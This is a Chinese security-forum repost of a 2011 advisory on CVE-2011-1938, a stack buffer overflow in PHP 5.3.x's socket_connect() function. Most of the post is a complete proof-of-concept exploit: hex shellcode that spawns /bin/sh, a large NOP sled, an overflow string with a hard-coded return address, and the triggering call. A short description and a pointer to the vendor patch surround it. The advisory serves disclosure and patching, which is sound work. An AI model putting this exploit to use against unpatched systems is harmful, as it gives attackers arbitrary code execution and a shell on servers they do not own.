|
![]() | 作者: DarK-Z [bridex]
![]() |
登录 |
PHP "socket_connect()"函数栈缓冲区溢出漏洞 发布日期:2011-05-24 更新日期:2011-05-25 受影响系统: PHP PHP 5.3.x 描述: -------------------------------------------------------------------------------- BUGTRAQ ID: 47950 CVE ID: CVE-2011-1938 PHP是英文超级文本预处理语言(PHP:Hypertext Preprocessor)的缩写。 PHP "socket_connect()"函数在实现上存在栈缓冲区溢出漏洞,远程攻击者可利用此漏洞在执行PHP进程中执行任意机器代码,可能会造成Web服务器的崩溃,拒绝服务合法用户。 <*来源:Mateusz Kocielski *> 测试方法: -------------------------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! <?php echo "[+] CVE-2011-1938"; echo "[+] there we go...\n"; define('EVIL_SPACE_ADDR', "\xff\xff\xee\xb3"); define('EVIL_SPACE_SIZE', 1024*1024*8); $SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0". "\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1". "\xcd\x80"; echo "[+] creating the sled.\n"; $CODE = str_repeat("\x90", EVIL_SPACE_SIZE); for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ; $i < strlen($SHELLCODE) ; $i++, $j++) { $CODE[$j] = $SHELLCODE[$i]; } $b = str_repeat("A", 196).EVIL_SPACE_ADDR; $var79 = socket_create(AF_UNIX, SOCK_STREAM, 1); echo "[+] popping shell, have fun (if you picked the right address...)\n"; $var85 = socket_connect($var79,$b); ?> 建议: -------------------------------------------------------------------------------- 厂商补丁: PHP --- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: http://www.php.net |
地主 发表时间: 11-06-08 10:36 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号